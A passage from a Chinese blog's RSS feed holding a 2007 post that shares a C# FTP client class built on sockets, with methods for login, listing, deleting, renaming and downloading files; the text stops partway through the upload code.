﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-曾科's Blog-文章分类-C#</title><link>http://www.blogjava.net/zengke/category/16330.html</link><description /><language>zh-cn</language><lastBuildDate>Mon, 03 Sep 2007 06:09:37 GMT</lastBuildDate><pubDate>Mon, 03 Sep 2007 06:09:37 GMT</pubDate><ttl>60</ttl><item><title>.NET下的FTP上传、下载文件操作类</title><link>http://www.blogjava.net/zengke/articles/142167.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Sun, 02 Sep 2007 17:34:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/142167.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/142167.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/142167.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/142167.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/142167.html</trackback:ping><description><![CDATA[<p><span style="font-size: 10pt">.NET下的FTP上传、下载文件操作类</span></p>
<p><span style="font-size: 10pt">基本原理就是先建立Socket连接，然后发请求命令和取回应答码。编码方式采用Encoding&nbsp;ASCII&nbsp;=&nbsp;Encoding.Default;来支持中文文件名。</span></p>
<p><span style="font-size: 10pt">using System;<br />
using System.Net;<br />
using System.Net.Sockets;<br />
using System.Text;<br />
using System.IO; </span></p>
<p><span style="font-size: 10pt">namespace PMTSS.Common<br />
{<br />
&nbsp;/// &lt;summary&gt;<br />
&nbsp;/// FTP 操作类<br />
&nbsp;/// &lt;/summary&gt;<br />
&nbsp;public class FTP<br />
&nbsp;{<br />
&nbsp;&nbsp;private string strRemoteHost;<br />
&nbsp;&nbsp;private int strRemotePort;<br />
&nbsp;&nbsp;private string strRemotePath;<br />
&nbsp;&nbsp;private string strRemoteUser;<br />
&nbsp;&nbsp;private string strRemotePass;<br />
&nbsp;&nbsp;private Boolean bConnected;</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;#region 内部变量<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 服务器返回的应答信息(包含应答码)<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;private string strMsg;<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 服务器返回的应答信息(包含应答码)<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;private string strReply;<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 服务器返回的应答码<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;private int iReplyCode;<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 进行控制连接的socket<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;private Socket socketControl;<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 传输模式<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;private TransferType trType;<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 传输模式:二进制类型、ASCII类型<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;public enum TransferType<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;&nbsp;/// Binary<br />
&nbsp;&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;&nbsp;Binary,<br />
&nbsp;&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;&nbsp;/// ASCII<br />
&nbsp;&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;&nbsp;ASCII<br />
&nbsp;&nbsp;};</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 接收和发送数据的缓冲区<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;private static int BLOCK_SIZE = 512;<br />
&nbsp;&nbsp;Byte[] buffer = new Byte[ BLOCK_SIZE];<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 编码方式<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;Encoding ASCII = Encoding.Default;<br />
&nbsp;&nbsp;#endregion</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;#region 内部函数</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;#region 构造函数<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 缺省构造函数<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;public FTP()<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;strRemoteHost&nbsp; = "";<br />
&nbsp;&nbsp;&nbsp;strRemotePath&nbsp; = "";<br />
&nbsp;&nbsp;&nbsp;strRemoteUser&nbsp; = "";<br />
&nbsp;&nbsp;&nbsp;strRemotePass&nbsp; = "";<br />
&nbsp;&nbsp;&nbsp;strRemotePort&nbsp; = 21;<br />
&nbsp;&nbsp;&nbsp;bConnected&nbsp;&nbsp;&nbsp;&nbsp; = false;<br />
&nbsp;&nbsp;}</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 构造函数<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;param name="remoteHost"&gt;&lt;/param&gt;<br />
&nbsp;&nbsp;/// &lt;param name="remotePath"&gt;&lt;/param&gt;<br />
&nbsp;&nbsp;/// &lt;param name="remoteUser"&gt;&lt;/param&gt;<br />
&nbsp;&nbsp;/// &lt;param name="remotePass"&gt;&lt;/param&gt;<br />
&nbsp;&nbsp;/// &lt;param name="remotePort"&gt;&lt;/param&gt;<br />
&nbsp;&nbsp;public FTP( string remoteHost, string remotePath, string remoteUser, string remotePass, int remotePort )<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;strRemoteHost&nbsp; = remoteHost;<br />
&nbsp;&nbsp;&nbsp;strRemotePath&nbsp; = remotePath;<br />
&nbsp;&nbsp;&nbsp;strRemoteUser&nbsp; = remoteUser;<br />
&nbsp;&nbsp;&nbsp;strRemotePass&nbsp; = remotePass;<br />
&nbsp;&nbsp;&nbsp;strRemotePort&nbsp; = remotePort;<br />
&nbsp;&nbsp;&nbsp;Connect();<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;public FTP( string remoteHost, string remotePath, string remoteUser, string remotePass)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;strRemoteHost&nbsp; = remoteHost;<br />
&nbsp;&nbsp;&nbsp;strRemotePath&nbsp; = remotePath;<br />
&nbsp;&nbsp;&nbsp;strRemoteUser&nbsp; = remoteUser;<br />
&nbsp;&nbsp;&nbsp;strRemotePass&nbsp; = remotePass;<br />
&nbsp;&nbsp;&nbsp;strRemotePort&nbsp; = 21;<br />
&nbsp;&nbsp;&nbsp;Connect();<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;#endregion</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;#region 登陆<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// FTP服务器IP地址<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp; <br />
&nbsp;&nbsp;public string RemoteHost<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;get<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return strRemoteHost;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;set<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;strRemoteHost = value;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// FTP服务器端口<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;public int RemotePort<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;get<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return strRemotePort;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;set<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;strRemotePort = value;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 当前服务器目录<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;public string RemotePath<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;get<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return strRemotePath;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;set<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;strRemotePath = value;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 登录用户账号<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;public string RemoteUser<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;set<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;strRemoteUser = value;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 用户登录密码<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;public string RemotePass<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;set<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;strRemotePass = value;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 是否登录<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;public bool Connected<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;get<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return bConnected;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;#endregion</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;#region 链接<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 建立连接 <br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;public void Connect()<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;socketControl = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);<br />
&nbsp;&nbsp;&nbsp;IPEndPoint ep = new IPEndPoint(IPAddress.Parse(RemoteHost), strRemotePort);<br />
&nbsp;&nbsp;&nbsp;// 链接<br />
&nbsp;&nbsp;&nbsp;try<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;socketControl.Connect(ep);<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;catch(Exception)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException("Couldn't connect to remote server");<br />
&nbsp;&nbsp;&nbsp;}</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;&nbsp;// 获取应答码<br />
&nbsp;&nbsp;&nbsp;ReadReply();<br />
&nbsp;&nbsp;&nbsp;if(iReplyCode != 220)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;DisConnect();<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;&nbsp;// 登陆<br />
&nbsp;&nbsp;&nbsp;SendCommand("USER "+strRemoteUser);<br />
&nbsp;&nbsp;&nbsp;if( !(iReplyCode == 331 || iReplyCode == 230) )<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;CloseSocketConnect();//关闭连接<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;if( iReplyCode != 230 )<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;SendCommand("PASS "+strRemotePass);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if( !(iReplyCode == 230 || iReplyCode == 202) )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseSocketConnect();//关闭连接<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;bConnected = true;</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;&nbsp;// 切换到目录<br />
&nbsp;&nbsp;&nbsp;ChDir(strRemotePath);<br />
&nbsp;&nbsp;}</span></p>
<p><br />
<span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 关闭连接<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;public void DisConnect()<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;if( socketControl != null )<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;SendCommand("QUIT");<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;CloseSocketConnect();<br />
&nbsp;&nbsp;}</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;#endregion</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;#region 传输模式</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 设置传输模式<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;param name="ttType"&gt;传输模式&lt;/param&gt;<br />
&nbsp;&nbsp;public void SetTransferType(TransferType ttType)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;if(ttType == TransferType.Binary)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;SendCommand("TYPE I");//binary类型传输<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;SendCommand("TYPE A");//ASCII类型传输<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;if (iReplyCode != 200)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;trType = ttType;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}</span></p>
<p><br />
<span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 获得传输模式<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;returns&gt;传输模式&lt;/returns&gt;<br />
&nbsp;&nbsp;public TransferType GetTransferType()<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;return trType;<br />
&nbsp;&nbsp;}</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;#endregion</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;#region 文件操作<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 获得文件列表<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strMask"&gt;文件名的匹配字符串&lt;/param&gt;<br />
&nbsp;&nbsp;/// &lt;returns&gt;&lt;/returns&gt;<br />
&nbsp;&nbsp;public string[] Dir(string strMask)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;// 建立链接<br />
&nbsp;&nbsp;&nbsp;if(!bConnected)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;Connect();<br />
&nbsp;&nbsp;&nbsp;}</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;&nbsp;//建立进行数据连接的socket<br />
&nbsp;&nbsp;&nbsp;Socket socketData = CreateDataSocket();</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;&nbsp;//传送命令<br />
&nbsp;&nbsp;&nbsp;SendCommand("NLST " + strMask);</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;&nbsp;//分析应答代码<br />
&nbsp;&nbsp;&nbsp;if(!(iReplyCode == 150 || iReplyCode == 125 || iReplyCode == 226))<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;&nbsp;//获得结果<br />
&nbsp;&nbsp;&nbsp;strMsg = "";<br />
&nbsp;&nbsp;&nbsp;while(true)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int iBytes = socketData.Receive(buffer, buffer.Length, 0);<br />
&nbsp;&nbsp;&nbsp;&nbsp;strMsg += ASCII.GetString(buffer, 0, iBytes);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(iBytes &lt; buffer.Length)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;char[] seperator = {'\n'};<br />
&nbsp;&nbsp;&nbsp;string[] strsFileList = strMsg.Split(seperator);<br />
&nbsp;&nbsp;&nbsp;socketData.Close();//数据socket关闭时也会有返回码<br />
&nbsp;&nbsp;&nbsp;if(iReplyCode != 226)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;ReadReply();<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(iReplyCode != 226)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;return strsFileList;<br />
&nbsp;&nbsp;}</span></p>
<p><br />
<span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 获取文件大小<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strFileName"&gt;文件名&lt;/param&gt;<br />
&nbsp;&nbsp;/// &lt;returns&gt;文件大小&lt;/returns&gt;<br />
&nbsp;&nbsp;private long GetFileSize(string strFileName)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;if(!bConnected)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;Connect();<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;SendCommand("SIZE " + Path.GetFileName(strFileName));<br />
&nbsp;&nbsp;&nbsp;long lSize=0;<br />
&nbsp;&nbsp;&nbsp;if(iReplyCode == 213)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;lSize = Int64.Parse(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;return lSize;<br />
&nbsp;&nbsp;}</span></p>
<p><br />
<span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 删除<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strFileName"&gt;待删除文件名&lt;/param&gt;<br />
&nbsp;&nbsp;public void Delete(string strFileName)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;if(!bConnected)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;Connect();<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;SendCommand("DELE "+strFileName);<br />
&nbsp;&nbsp;&nbsp;if(iReplyCode != 250)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}</span></p>
<p><br />
<span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 重命名(如果新文件名与已有文件重名,将覆盖已有文件)<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strOldFileName"&gt;旧文件名&lt;/param&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strNewFileName"&gt;新文件名&lt;/param&gt;<br />
&nbsp;&nbsp;public void Rename(string strOldFileName,string strNewFileName)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;if(!bConnected)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;Connect();<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;SendCommand("RNFR "+strOldFileName);<br />
&nbsp;&nbsp;&nbsp;if(iReplyCode != 350)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;//&nbsp; 如果新文件名与原有文件重名,将覆盖原有文件<br />
&nbsp;&nbsp;&nbsp;SendCommand("RNTO "+strNewFileName);<br />
&nbsp;&nbsp;&nbsp;if(iReplyCode != 250)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;#endregion</span></p>
<p><span style="font-size: 10pt">&nbsp;&nbsp;#region 上传和下载<br />
&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 下载一批文件<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strFileNameMask"&gt;文件名的匹配字符串&lt;/param&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strFolder"&gt;本地目录(不得以\结束)&lt;/param&gt;<br />
&nbsp;&nbsp;public void Get(string strFileNameMask,string strFolder)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;if(!bConnected)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;Connect();<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;string[] strFiles = Dir(strFileNameMask);<br />
&nbsp;&nbsp;&nbsp;foreach(string strFile in strFiles)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(!strFile.Equals(""))//一般来说strFiles的最后一个元素可能是空字符串<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Get(strFile,strFolder,strFile);<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}</span></p>
<p><br />
<span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 下载一个文件<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strRemoteFileName"&gt;要下载的文件名&lt;/param&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strFolder"&gt;本地目录(不得以\结束)&lt;/param&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strLocalFileName"&gt;保存在本地时的文件名&lt;/param&gt;<br />
&nbsp;&nbsp;public void Get(string strRemoteFileName,string strFolder,string strLocalFileName)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;if(!bConnected)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;Connect();<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;SetTransferType(TransferType.Binary);<br />
&nbsp;&nbsp;&nbsp;if (strLocalFileName.Equals(""))<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;strLocalFileName = strRemoteFileName;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;if(!File.Exists(strLocalFileName))<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;Stream st = File.Create(strLocalFileName);<br />
&nbsp;&nbsp;&nbsp;&nbsp;st.Close();<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;FileStream output = new <br />
&nbsp;&nbsp;&nbsp;&nbsp;FileStream(strFolder + "\\" + strLocalFileName,FileMode.Create);<br />
&nbsp;&nbsp;&nbsp;Socket socketData = CreateDataSocket();<br />
&nbsp;&nbsp;&nbsp;SendCommand("RETR " + strRemoteFileName);<br />
&nbsp;&nbsp;&nbsp;if(!(iReplyCode == 150 || iReplyCode == 125<br />
&nbsp;&nbsp;&nbsp;&nbsp;|| iReplyCode == 226 || iReplyCode == 250))<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;while(true)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int iBytes = socketData.Receive(buffer, buffer.Length, 0);<br />
&nbsp;&nbsp;&nbsp;&nbsp;output.Write(buffer,0,iBytes);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(iBytes &lt;= 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;output.Close();<br />
&nbsp;&nbsp;&nbsp;if (socketData.Connected)<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;socketData.Close();<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;if(!(iReplyCode == 226 || iReplyCode == 250))<br />
&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;ReadReply();<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(!(iReplyCode == 226 || iReplyCode == 250))<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw new IOException(strReply.Substring(4));<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}</span></p>
<p><br />
<span style="font-size: 10pt">&nbsp;&nbsp;/// &lt;summary&gt;<br />
&nbsp;&nbsp;/// 上传一批文件<br />
&nbsp;&nbsp;/// &lt;/summary&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strFolder"&gt;本地目录(不得以\结束)&lt;/param&gt;<br />
&nbsp;&nbsp;/// &lt;param name="strFileNameMask"&gt;文件名匹配字符(可以包含*和?)&lt;/param&gt;<br />
